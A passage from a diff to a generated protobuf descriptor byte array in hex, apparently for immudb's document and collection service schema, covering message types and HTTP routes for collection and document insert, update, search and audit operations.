0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, + 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, + 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, + 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, + 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, + 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, + 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, + 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x72, 0x0a, 0x19, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, + 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x2a, 0x49, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, + 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, + 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, + 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, + 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, + 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, + 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, + 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, + 0x47, 0x10, 0x02, 0x32, 0xf3, 0x0d, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x2a, 0x49, - 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, - 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, - 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, - 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, - 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, - 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, - 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xf3, 0x0d, 0x0a, 0x0f, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, - 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, - 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, + 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, + 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, + 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, - 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, - 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, - 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, - 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, - 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, - 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 